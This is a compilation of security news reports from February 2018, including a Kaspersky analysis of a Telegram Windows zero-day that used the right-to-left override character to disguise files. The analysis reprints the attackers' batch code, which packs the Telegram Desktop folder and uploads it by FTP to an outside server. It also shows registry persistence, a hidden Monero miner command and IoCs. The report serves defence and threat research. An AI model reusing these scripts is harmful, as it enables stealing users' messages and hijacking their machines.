After the takedowns of the Andromeda and Avalanche botnets, Necurs remains the largest spam distributor in the cybercrime ecosystem. Crooks will continue to leverage the Necurs botnet for their spam campaigns, for this reason, the most effective countermeasure is to increase employee awareness on such kind of threats.


Hackers in the Russian underground exploited a Telegram Zero-Day vulnerability to deliver malware
14.2.2018 securityaffairs
Exploit  Virus

Security researcher Alexey Firsh at Kaspersky Lab last discovered a Telegram zero-day in the desktop Windows version that was exploited in attacks in the wild.
Security researcher Alexey Firsh at Kaspersky Lab last discovered a zero-day vulnerability in the desktop Windows version of the popular Telegram instant messaging app.

The bad news is that the Telegram zero-day flaw was being exploited by threat actors in the wild to deliver cryptocurrency miners for Monero and ZCash.

According to the expert, hackers have actively exploited the vulnerability since at least March 2017. Attackers tricked victims into downloading cryptocurrency miners or to establish a backdoor.

“In October 2017, we learned of a vulnerability in Telegram Messenger’s Windows client that was being exploited in the wild. It involves the use of a classic right-to-left override attack when a user sends files over the messenger service.” reads the analysis of the expert.

The flaw is related to the way Telegram Windows client handles the RLO (right-to-left override) Unicode character (U+202E), which is used for any language that uses a right to left writing mode, like Arabic or Hebrew.

The attackers used a hidden RLO Unicode character in the file name that reversed the order of the characters, in this way the file name could be renamed. In a real attack scenario, then the attackers sent the file to the target recipient.

The crooks craft a malicious code to be sent in a message, let assume it is a JS file that is renamed as follows:

evil.js -> photo_high_re*U+202E*gnp.js (— *U+202E* is the RLO character)

The RLO character included in the file name is used by an attacker to display the string gnp.js in reverse masquerading the fact that the file is a js and tricking the victims into believing that it is a harmless .png image.

Telegram zero-day

When the user clicks on the file, Windows displays a security notification if it hasn’t been disabled in the system’s settings.

telegram zero-day

If the user ignores the notification and clicks on ‘Run’, the malicious code executed.
The expert reported the Telegram zero-day to the company that promptly patched the flaw.

“Kaspersky Lab reported the vulnerability to Telegram and, at the time of publication, the zero-day flaw has not since been observed in messenger’s products.” states the analysis published by Kaspersky.

“During their analysis, Kaspersky Lab experts identified several scenarios of zero-day exploitation in the wild by threat actors.”

The analysis of the servers used by the attackers revealed the presence of archives containing a Telegram’s local cache, this means that threat actors exploited the flaw to steal data from the victims.

In another attack scenario, crooks triggered the flaw to install a malware that leverages the Telegram API as a command and control mechanism.

“Secondly, upon successful exploitation of the vulnerability, a backdoor that used the Telegram API as a command and control protocol was installed, resulting in the hackers gaining remote access to the victim’s computer. After installation, it started to operate in a silent mode, which allowed the threat actor to remain unnoticed in the network and execute different commands including the further installation of spyware tools.” continues the analysis.

According to the researcher, the flaw was known only in the Russia crime community, it was not triggered by other crooks.

To mitigate the attack, download and open files only from trusted senders.

The security firm also recommended users to avoid sharing any sensitive personal information in messaging apps and make sure to have a good antivirus software from reliable company installed on your systems.


Seagate, RackTop Launch Secure Data Storage Product for Governments
13.2.2018 securityweek BigBrothers
Seagate Technologies and RackTop Systems on Tuesday announced a partnership and their first product, a secure data storage solution designed to help government organizations address cybersecurity and compliance challenges.

The joint product from RackTop and Seagate is the Secure Data Protection Platform (SDP2), a storage solution designed to help government organizations, civilian agencies, military agencies, and contractors in the United States and Europe protect sensitive data against both insider and external threats.

Seagate and RackTop join forces to launch a data protection platform for governments

SDP2 combines encryption key management from Fornetix, a high-performance software-defined storage platform from RackTop, and disk drives and enclosures from Seagate.Seagate and RackTop join forces to launch a data protection platform for governments

The companies claim the new product is compliant with the Trade Agreements Act (TAA), the Buy American Act (BAA), NIST 800-88 (guidelines for media sanitization), NIST 800-171 (protecting unclassified data on nonfederal IT systems), FIPS 140-2 (federal standard for approving cryptographic modules), and the European Union’s upcoming General Data Protection Regulation (GDPR).

According to Seagate and RackTop, SDP2 can be used for file sharing, virtual machine storage, databases, and DevOps. It includes policy-driven data protection, anti-ransomware mechanisms, and auditing and reporting features.

The product provides encryption, versioning, orchestration, replication, retention and disposition capabilities. The solution is ideal for both small offices and data centers as it can easily scale from a few terabytes to multiple petabytes, the vendors said.

“Seagate Government Solutions is pleased to partner with RackTop to create exceptional data security solutions to meet rising risk management standards,” said Mike Moritzkat, vice president and general manager of Seagate Government Solutions. “The Secure Development Protection Platform – or SDP2 – is the first of many products Seagate is delivering to meet increasingly-stringent data security regulations in both the U.S. and EU.”


Major Browser Vendors to Restrict AppCache to Secure Connections
13.2.2018 securityweek
Attack
Major web browser vendors plan on restricting the use of the Application Cache (AppCache) feature to secure connections in an effort to protect users against potential attacks.

Mozilla on Monday was the first to make an official announcement, but the developers of Chrome, Edge and WebKit (the layout engine used by Apple’s Safari) said they plan on doing the same.

AppCache is an HTML5 application caching mechanism that allows website developers to specify which resources should be available offline. This improves speed, reduces server load, and enables users to browse a site even when they are offline.

While application caching has some benefits, it can also introduce serious security risks, which is partly why it has been deprecated and its use is no longer recommended.

The problem is that AppCache does not properly revalidate its cache, making it possible for man-in-the-middle (MitM) attackers to load malicious content. Mozilla has described the following attack scenario:

“A user logs onto a coffee shop WiFi where an attacker can manipulate the WiFi that is served over HTTP. Even if the user only visits one HTTP page over the WiFi, the attacker can plant many insecure iframes using AppCache which allows the attacker to rig the cache with malicious content manipulating all of those sites indefinitely. Even a cautious user who decides only to login to their websites at home is at risk due to this stale cache.”

Mozilla has already banned access to AppCache from HTTP pages in Firefox 60 Nightly and Beta, and will do the same in the main branch starting with Firefox 62, scheduled for release in early May.

Mozilla says it will continue to remove features for websites using HTTP and advised developers to implement TLS encryption in order to preserve current functionality.

“Going forward, Firefox will deprecate more APIs over insecure connections in an attempt to increase adoption of HTTPS and improve the safety of the internet as a whole,” explained Mozilla’s Jonathan Kingston.

Google Chrome developers initiated a discussion on removing AppCache on insecure origins back in 2016, but failed to find a solution. Following Mozilla’s lead, the Chrome team has picked up discussions on this topic on February 2.

Microsoft reportedly started making plans for AppCache restriction last week and WebKit developers are also looking into making changes. Some modifications will also be made in the HTML standard.


Litecoin, Dash to Dethrone Bitcoin on Dark Web: Report
13.2.2018 securityweek CoinMine
Litecoin and Dash are expected to replace Bitcoin as the most used payment method on underground portals and cybercriminal marketplaces, Recorded Future suggests in a new report.

For the past couple of years, cybercriminals from all geographies and of all languages have been dissatisfied with the performance and cost of Bitcoin transactions, and forum discussions suggest alternate payment methods would soon surge.

At the moment, Bitcoin remains the most popular crypto-currency on the Dark Web, followed by Litecoin, an analysis (PDF) of 150 of the most prominent message boards, marketplaces, and illicit services on the Dark Web has revealed. Dash is also a top preference among members of the Dark Web, the same as Monero, Recorded Future's researchers discovered.

The diminished popularity of Bitcoin appears to be derived from the larger payment fees that have been registered since mid-2017. The crypto-coin itself has increased in value, but this also fueled a spike in fees for small transactions.

“The underground economy is dependent on smaller transactions in its day-to-day operations, with the cost of the average product or service beginning between $50 and $300. With the addition of exuberant transaction fees, the price of such products and services suddenly inflates tremendously,” Recorded Future notes.

In addition to these high fees, which could sometimes amount to 30% of the transaction value, cybercriminals would also have to face delays in the completion of transactions, derived from an adopted rule of requiring three confirmations before treating transactions as complete.

“The prospect of having to wait up to 24 hours to confirm their transactions, in addition to exuberant payment fees, has rendered Bitcoin payments unusable for a large group of bad guys,” the researchers point out.

Based on underground discussions and fueled by overwhelming support and references to it, Dash appeared to emerge as the next major Dark Web currency, but the crypto-coin didn’t live to the expectations. However, it did prove highly popular on many dark portals, as many migrated to it in detriment of Bitcoin.

Despite its constant appearance in cyber-attacks – in incidents targeting web servers, end user computers (via malware or in-browser scripts), IoT devices, and ICS systems with mining software – over the past year, Monero didn’t manage to claim the top position either.

Monero did take the top position in a poll among “several hundreds of members of a popular criminal forum” on the crypto-coin expected to be adopted next, Recorded Future’s report reveals.

“Our subsequent research showed that the vendors alone represent the primary deciding factor regarding which payments will be implemented and which will not,” the security firm says.

Following the analysis of 150 of the most prominent Dark Web portals, the researchers discovered that Bitcoin remains the standard, as all vendors accept it as a payment. The second most popular crypto-coin is Litecoin, being accepted by 30% of all vendors who implemented alternative payment methods.

Dash landed on the third position, being accepted by 20% of these vendors, followed by Bitcoin Cash at 13%. Ethereum and Monero round up the list, at 9% and 6%, respectively.

Reasons Litecoin is the second most popular crypto-currency after Bitcoin include the fact that it is also the second oldest, being introduced in 2011. Intended as a superior version of Bitcoin, its core technology is nearly identical to Bitcoin’s, but it allows for faster transactions and significantly lower commission fees.

However, it doesn’t offer any additional security to its owner, the researchers point out. Just as with Bitcoin, Litecoin transactions are entirely transparent.

The security firm discovered that Litecoin is second most preferred on 35% of Eastern European underground portals, followed by Dash at 24%, and Bitcoin Cash at 15%. On English speaking Dark Web portals, however, Monero is the second most popular, at 15%, followed by Litecoin at 11%.

“While Russians favored the accessibility and convenience of Litecoin, with a more diverse and established supporting infrastructure, English-speaking members seem to be more security-oriented, choosing Monero for its built-in safety features,” Recorded Future notes.

The security researchers expect the cryptocurrency diversification trend to only intensify and suggest that Bitcoin might lose its dominant position among payment methods on the Dark Web in the next six to 12 months. However, it is expected to remain one of the main payment instruments.

“On the other hand, Litecoin and Dash will take their place next to Bitcoin as the everyday payment currencies of the dark web. At the same time, as these currencies become more readily available to a general population, malicious tools such as ransomware will also continue to evolve to take advantage of the mainstream trend,” the researchers conclude.


Microsoft Brings Windows Defender ATP to Windows 7, 8.1
13.2.2018 securityweek Safety
Microsoft on Monday announced plans to make Windows Defender Advanced Threat Protection (ATP) available for Windows 7 SP1 and Windows 8.1 devices.

First announced in early 2016, Windows Defender ATP was packed in Windows 10 in an attempt to harden the platform and provide users with a unified endpoint security tool.

Improvements made to Windows Defender ATP since include protection against code injection attacks, detection of suspicious PowerShell activities, and the ability to fend off emerging threats via Windows Defender Exploit Guard.

While these enhancements make Windows 10 a more secure platform, organizations that use a mixture of Windows 7 and Windows 10 devices remain exposed to attacks, and Microsoft aims at tackling the issue with the addition of support for older platform iterations in Windows Defender ATP.

“Starting this summer, customers moving to Windows 10 can add Windows Defender ATP Endpoint Detection & Response (EDR) functionality to their Windows 7, and Windows 8.1 devices, and get a holistic view across their endpoints,” Rob Lefferts, Partner Director, Windows & Devices Group, Security & Enterprise, Microsoft, notes in a blog post.

Windows 7 and Windows 8.1 will get a behavioral based EDR solution to provide insight into threats on an organization’s endpoints. All events are logged in the Windows Defender Security Center, which is the cloud-based console for Windows Defender ATP.

“Security teams benefit from correlated alerts for known and unknown adversaries, additional threat intelligence, and a detailed machine timeline for further investigations and manual response options,” Lefferts notes.

He also notes that the solution will allow organizations to run third-party antivirus solutions on the endpoints, although pairing it with Windows Defender Antivirus (also known as System Center Endpoint Protection (SCEP) for down-level) would be the best option. The advantage when using it with Windows Defender Antivirus would be that both malware detections and response actions would be available in the same console.

Microsoft plans on providing its customers with access to a public preview of the down-level EDR solution in spring, so that security teams would learn more on what the solution has to offer in terms of detecting suspicious behavior on Windows 7 and Windows 8.1 devices.

Making Windows Defender ATP available for older Windows releases is only one more step Microsoft makes in its attempt to broaden the availability of its security product. In November, the company announced partnerships to bring the tool to macOS, Linux, iOS, and Android devices as well.

On Monday, SentinelOne revealed plans to bring Windows Defender ATP to its Mac and Linux users too, courtesy of integration with the SentinelOne Endpoint Protection Platform (EPP). The company is already providing customers with beta access to the solution.

Once the planned integration is complete, new events from onboarded MacOS and Linux devices will start natively surfacing into the Windows Defender ATP console, without the need for additional infrastructure, the company says.

“With Windows Defender ATP for Windows 10, Windows Server 2012R2 and 2016, now for Windows 7 and Windows 8.1 and our partner integration for non-Windows devices, we give security teams a single solution to detect and respond to advanced attacks across the majority of their endpoints,” Lefferts concludes.


New details emerge from Equifax breach, the hack is worse than previously thought
13.2.2018 securityaffairs Incindent

New documents provided by Equifax to senators revealed that the security breach suffered by the firm involved additional data for some customers.
In 2017 Equifax confirmed it has suffered a massive data breach, cyber criminals stole sensitive personal records of 145 million belonging to US citizens and hundreds of thousands Canada and in the UK.

Attackers exploited the CVE-2017-5638 Apache Struts vulnerability. The vulnerability affects the Jakarta Multipart parser upload function in Apache and could be exploited by an attacker to make a maliciously crafted request to an Apache web server.

The vulnerability was fixed back in March, but the company did not update its systems, the thesis was also reported by an Apache spokeswoman to the Reuters agency.

Compromised records include names, social security numbers, birth dates, home addresses, credit-score dispute forms, and for some users also the credit card numbers and driver license numbers.

Now experts argue the Equifax hack is worse than previously thought, according to documents provided by Equifax to the US Senate Banking Committee the attackers also stole taxpayer identification numbers, phone numbers, email addresses, and credit card expiry dates belonging to some Equifax customers.

This means that crooks have all necessary data to arrange any king of fraud by steal victims’ identities.

Equifax data breach

“As your company continues to issue incomplete, confusing and contradictory statements and hide information from Congress and the public, it is clear that five months after the breach was publicly announced, Equifax has yet to answer this simple question in full: what was the precise extent of the breach?” criticized Senator Elizabeth Warren (D-MA) who disclosed the documents.

Equifax pointed out that additional info exposed after the security breach are only related to a limit number of users.

Another curious thing to observe about the Equifax case, it that C-Level management was allowed to retire with multi-million dollar severance pays.

On Monday, the company announced Jamil Farshchi as its Chief Information Security Officer (CISO), he replaces Chief Security Officer Susan Mauldin, who retired from the company after the data breach was disclosed in late 2017.


Zero-day vulnerability in Telegram

13.2.2018 Kaspersky  Vulnerebility
Cybercriminals exploited Telegram flaw to launch multipurpose attacks.
In October 2017, we learned of a vulnerability in Telegram Messenger’s Windows client that was being exploited in the wild. It involves the use of a classic right-to-left override attack when a user sends files over the messenger service.

Right-to-left override in a nutshell
The special nonprinting right-to-left override (RLO) character is used to reverse the order of the characters that come after that character in the string. In the Unicode character table, it is represented as ‘U+202E’; one area of legitimate use is when typing Arabic text. In an attack, this character can be used to mislead the victim. It is usually used when displaying the name and extension of an executable file: a piece of software vulnerable to this sort of attack will display the filename incompletely or in reverse.


Mikko Hypponen
@mikko
New Mac Malware uses Right-to-Left override character (U+202E) to cause OS X to display this… http://www.f-secure.com/weblog/archives/00002576.html …

15:52 - 15 июл. 2013 г.
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Launching an attack on Telegram
Below is an account of how this vulnerability was exploited in Telegram:

The cybercriminal prepares the malware to be sent in a message. For example, a JS file is renamed as follows:
evil.js -> photo_high_re*U+202E*gnp.js
Where *U+202E* is the RLO character to make Telegram display the remaining string gnp.js in reverse. Note that this operation does not change the actual file – it still has the extension *.js.

The attacker sends the message, and – surprise! – the recipient sees an incoming PNG image file instead of a JS file:
 

When the user clicks on this file, the standard Windows security notification is displayed:
 

Importantly, this notification is only displayed if it hasn’t been disabled in the system’s settings. If the user clicks on ‘Run’, the malicious file is launched.

Exploitation in the wild
After learning the vulnerability, we began to research cases where it was actually exploited. These cases fall into several general scenarios.

Remote control
The aim of this sort of attack is to take control of the victim’s system, and involves the attacker studying the target system’s environment and the installation of additional modules.

 

At the first stage, a downloader is sent to the target, which is written in .Net, and uses Telegram API as the command protocol:
 

With this token and API, it is easy to find the Telegram bot via which the infected systems are controlled:
 

When launched, it modifies startup registry key to achieve persistence on a system and copies its executable file into one of the directories, depending on the environment:
 

Then it begins to check every two seconds for commands arriving from the control bot. Note that the commands are implemented in Russian:
 

The list of supported commands shows that the bot can silently deploy arbitrary malicious tools like backdoors, loggers and other malware on the target system. A complete list of supported commands is given below:

Command
(English translation) Function
“Онлайн
(“Online) Send list of files in directory to control bot.
“Запус
(“Launch) Launch executable file using Process.Start().
“Логгер
(“Logger) Check if tor process is running, download logg.zip, unpack it, delete the archive and launch its content.
“Скачать
(“Download) Download file into its own directory.
“Удалить
(“Delete) Delete file from its own directory.
“Распаковать
(“Unpack) Unpack archive in its own directory using specified password.
Убить
(Kill) Terminate specified process using process.Kill()
Скачат
(Download) Same as ‘Download’ (see above), with different command parsing.
Запуск
(Launch) Same as ‘Launch’ (see above), with different command parsing.
Удалить
(Delete) Same as ‘Delete’ (see above), with different command parsing.
Распаковать
(Unpack) Same as ‘Unpack’ (see above), with different command parsing.
Процессы
(Processes) Send a list of commands running on target PC to control bot.
An analysis of these commands shows that this loader may be designed to download another piece of malware, possibly a logger that would spy on the victim user.

Miners and more
Amid the cryptocurrency boom, cybercriminals are increasingly moving away from ‘classic robbery’ to a new method of making money from their victims – namely mining cryptocurrency using the resources of an infected computer. All they have to do is run a mining client on the victim computer and specify the details of their cryptocurrency wallet.

Scenario #1
 

At the first stage of the attack, an SFX archive with a script is used that launches an executable file:

Path=%temp%\adr
Setup=%temp%\adr\run.exe
Silent=1
Overwrite=2

This run.exe file is in fact a BAT file. The batch script, after extraction, looks like this:
 

As we can see, the malicious program first opens a decoy file – in this case it is an image to lull the victim into a false sense of security.

Then, two miners launch one after the other. They are launched as services with the help of the nssm.exe utility, which is also contained in the same SFX archive.

nheq.exe: an Equihash miner for NiceHash (in this specific case, it mined Zcash). Can use the resources of both the CPU and graphics accelerator:

 

taskmgn.exe – another popular miner implementing the CryptoNight algorithm. It mines Fantomcoin and Monero. There is a known specific string with pdb path:

 

We have seen several versions of this batch script, some of which have extra features:
 

This specific version disables Windows security features, then logs on to a malicious FTP server, downloads a payload and launches it. In this case, the payload was an SFX archive that contains another miners and a Remote Manipulator System (RMS) client, an analog of TeamViewer. Using AutoIt scripts, the malware deploys RMS on the targeted computer for subsequent remote access:
 

The attack flowchart is approximately as follows:
 

We have examined this FTP server and found several more similar payloads, which are possibly loaded by other versions of this malware.
 

The file address4.exe is worthy of a special mention. Like the other files, it is an SFX archive with the following contents:
 

All components named st*.exe are executable PE files converted in a similar way from batch scripts.

The SFX script launches the component st1.exe:

Path=%temp%/adress
Setup=%temp%/adress/st1.exe
Silent=1
Overwrite=2

st1.exe adds st2.exe to the system startup by writing the appropriate record to the system registry:

reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v RUN1 /d %temp%\adress\st2.exe /f

So the st2.exe file launches when system is booted next time:

TIMEOUT /T 10 /NOBREAK #Waits for Telegram to launch
chcp 1251
tskill telegram
taskkill /IM telegram.exe #Terminates Telegram processes
md %temp%\sss
cd %temp%\sss #Creates a temporary directory
“%temp%\adress\WinRAR.exe” A -ibck -inul -r -agYY-mm-dd-hh-mm-ss “%temp%\sss\1.rar” “%appdata%\Telegram Desktop” #Packs the Telegram directory into a RAR archive
TIMEOUT /T 60 /NOBREAK
:begin
ping -n 1 ya.ru |>nul find /i “TTL=” && (start “” %temp%/adress/st3.exe) || (ping 127.1 -n 2& Goto :begin) #Checks Internet connection and launches st3.exe

As expected, st3.exe logs on to the malicious FTP server and uploads the RAR archive that was created earlier:

@echo XXXXXXXX>command.txt
@echo XXXXXXXX>>command.txt
@echo binary>>command.txt
@echo mput %temp%\sss\*.rar>>command.txt
@echo quit>>command.txt
ftp -s:command.txt -i free11.beget.com
del command.txt
attrib %temp%/adress +H
attrib %temp%/adress\* +H

On that FTP server, we discovered several archives of this type containing Telegram directories stolen from the victims:
 

Each dump contains, as well as the Telegram client’s executables and utility files, an encrypted local cache containing different files used in personal communications: documents, videos and audio records and photos.

Scenario #2
 

Just like in the previous scenario, an attack starts with an SFX archive opening and launching a VBScript that it contains. Its main job is to open a decoy image to distract the user, and then download and launch the payload:
 

The payload is an SFX archive with the following script:
 

svchost.vbs is a script controlling the launch of the miner CryptoNight (csrs.exe). It monitors the task list; if it detects a task manager (taskmgr.exe, processhacker.exe) on that list, it terminates the miner’s process and re-launches it when the task manager is closed.

The script contains the appropriate comments:
 

The miner itself is launched as follows:

WshShell.Run “csrs.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u XXXXXXXXX@yandex.ru -p x -dbg -1″ & cores, 0

The pool address is associated with the cryptocurrency Monero.

On the server itself, in addition to the specified payload files, we found similar SFX archives with miners:
 

Conclusion
It appears that only Russian cybercriminals were aware of this vulnerability, with all the exploitation cases that we detected occurring in Russia. Also, while conducting a detailed research of these attacks we discovered a lot of artifacts that pointed to involvement by Russian cybercriminals.

We don’t have exact information about how long and which versions of the Telegram products were affected by the vulnerability. What we do know is that its exploitation in Windows clients began in March 2017. We informed the Telegram developers of the problem, and the vulnerability no longer occurs in Telegram’s products.

This paper presents only those cases that were reported by Kaspersky Lab’s telemetry systems. The full scope and other methods of exploitation remain unknown.

IoC
MD5
First stage
650DDDE919F9E5B854F8C375D3251C21
C384E62E483896799B38437E53CD9749
FA391BEAAF8B087A332833E618ABC358
52F7B21CCD7B1159908BCAA143E27945
B1760E8581F6745CBFCBE76FBD0ACBFA
A662D942F0E43474984766197288845B

Payloads
B9EEC74CA8B14F899837A6BEB7094F65
46B36F8FF2369E883300F472694BBD4D
10B1301EAB4B4A00E7654ECFA6454B20
CD5C5423EC3D19E864B2AE1C1A9DDBBC
7A3D9C0E2EA27F1B96AEFED2BF8971A4
E89FDDB32D7EC98B3B68AB7681FACCFC
27DDD96A87FBA2C15B5C971BA6EB80C6
844825B1336405DDE728B993C6B52A83
C6A795C27DEC3F5559FD65884457F6F3
89E42CB485D65F71F62BC1B64C6BEC95
0492C336E869A14071B1B0EF613D9899
2CC9ECD5566C921D3876330DFC66FC02
1CE28167436919BD0A8C1F47AB1182C4

C2 servers
http://nord.adr[.]com[.]ua/

Filenames
name?gpj.exe
name?gpj.rar
address?gpj.scr
address_?gpj.scr
photoadr?gepj.scr


Thousands of Government Websites Hacked to Mine Cryptocurrencies
13.2.2018 thehackernews CoinMine

There was a time when hackers simply defaced websites to get attention, then they started hijacking them to spread banking trojan and ransomware, and now the trend has shifted towards injecting scripts into sites to mine cryptocurrencies.
Thousands of government websites around the world have been found infected with a specific script that secretly forces visitors' computers to mine cryptocurrency for attackers.
The cryptocurrency mining script injection found on over 4,000 websites, including those belonging to UK's National Health Service (NHS), the Student Loan Company, and data protection watchdog Information Commissioner's Office (ICO), Queensland legislation, as well as the US government's court system.
Users who visited the hacked websites immediately had their computers' processing power hijacked, also known as cryptojacking, to mine cryptocurrency without their knowledge, potentially generating profits for the unknown hacker or group of hackers.
It turns out that hackers managed to hijack a popular third-party accessibility plugin called "Browsealoud," used by all these affected websites, and injected their cryptocurrency-mining script into its code.
Browsealoud is a popular third-party browser plugin that helps blind and partially-sighted users access the web by converting site text to audio.
The script that was inserted into the compromised Browsealoud software belongs to CoinHive—a browser-based Monero mining service that offers website administrators to earn revenue by utilizing CPU resources of visitors.
The mining software was found in more than 4,200 websites, including The City University of New York (cuny.edu), Uncle Sam's court information portal (uscourts.gov), the UK's Student Loans Company (slc.co.uk), privacy watchdog The Information Commissioner's Office (ico.org.uk) and the Financial Ombudsman Service (financial-ombudsman.org.uk), UK NHS services, Manchester.gov.uk, NHSinform.scot, agriculture.gov.ie, Croydon.gov.uk, ouh.nhs.uk, legislation.qld.gov.au, the list goes on.
The full list of affected websites can be found here.
After UK-based infosec consultant Scott Helme raised the alarm about this hack when one of his friends mentioned getting anti-virus alerts on a UK Government website, BrowseAloud’s operator Texthelp took down its site to resolve the issue.
Here’s what Texthelp's chief technology officer Martin McKay said in a blog post:
"In light of other recent cyber attacks all over the world, we have been preparing for such an incident for the last year. Our data security action plan was actioned straight away and was effective, the risk was mitigated for all customers within a period of four hours."
"Texthelp has in place continuously automated security tests for Browsealoud - these tests detected the modified file, and as a result, the product was taken offline."
This action eventually removed Browsealoud from all websites immediately, addressing the security issue without its customers having to take any action.
The company also assured that "no customer data has been accessed or lost," and that its customers will receive a further update as soon as the security investigation gets completed.


Cryptocurrency Miners Not Uncommon on Industrial Systems
13.2.2018 securityweek  CoinMine
Cryptocurrency miners can pose a serious threat to industrial systems and it’s not uncommon for this type of malware to make its way into operational technology (OT) environments.

Industrial cybersecurity firm Radiflow reported last week that it had identified a piece of malware designed to mine Monero on a human-machine interface (HMI) system at a wastewater facility in Europe. The company warned that the resource consumption associated with this type of malware can severely disrupt plant monitoring tools and the affected organization’s response times.

Cryptocurrency mining malware has become increasingly widespread and it has recently been found even on numerous government websites in the United States, the United Kingdom and Australia.

This type of malware is also fairly common on industrial systems, according to several cybersecurity firms contacted by SecurityWeek.

A study conducted last year by Dragos showed that roughly 3,000 unique industrial sites had been hit by traditional, non-targeted malware. The company discovered approximately 6,000 malware infections, including instances of cryptojacking, said Robert M. Lee, CEO and founder of Dragos.

Kaspersky Lab ICS-CERT told SecurityWeek that roughly 3.3 percent of the industrial control systems (ICS) monitored by the company between February 2017 and February 2018 were targeted with cryptocurrency miners, with an increasing trend observed since September 2017.

Cryptocurrency miners on industrial systems - Credits: Kaspersky Lab ICS-CERT

“Industrial infrastructure is an appealing target for mining attacks due to high power, meaning criminals can earn more in less time. As usually the case with miners, users might notice slowdown of programs and systems performance that inevitably affects the user experience in general,” Kaspersky Lab ICS-CERT said. “In terms of ICS, a spike in CPU load, as a result of miners’ infection, leads to an increase in response time of monitoring tools for SCADA/HIM servers. It’s important to note that most of the ICS are real-time systems designed for process control, where response time is the critical system indicator.”

Darktrace, a security firm known for its AI-based defense technology, said it had identified more than 20 cryptocurrency miner attacks over the past six months among its customers in the energy and utilities sectors.

Overall, Darktrace said it had identified more than 400 crypto-mining related incidents across 5,000 customer deployments in more than 30 industries. There has been a steady increase in the number of detections, with roughly 100 mining scripts and cryptocurrency malware incidents detected in January.

CyberX used the Shodan search engine to locate a European wastewater facility infected with cryptocurrency mining malware. Just like in the incident described by Radiflow, the threat had been found on an HMI device running CIMPLICITY software from GE Digital. The industrial cybersecurity firm managed to grab a screenshot of the infected HMI.

HMI in European wastewater facility infected with cryptocurrency miner - Credits: CyberX

While the infection vector is not known, CyberX VP of Research David Atch pointed out that older versions of the CIMPLICITY software are affected by CVE-2014-0751, a path traversal vulnerability that can be exploited for arbitrary code execution. This flaw was exploited a few years ago by Russia-linked hackers to deliver the BlackEnergy malware.

“Although it's widely believed that Black Energy was developed by a state-sponsored hacking group (most likely Sandworm aka Telebots), the vulnerability is relatively easy to exploit and therefore it's easy to imagine that non-state actors such as cybercriminal organizations now have access to tools that can exploit the same vulnerability,” Atch explained.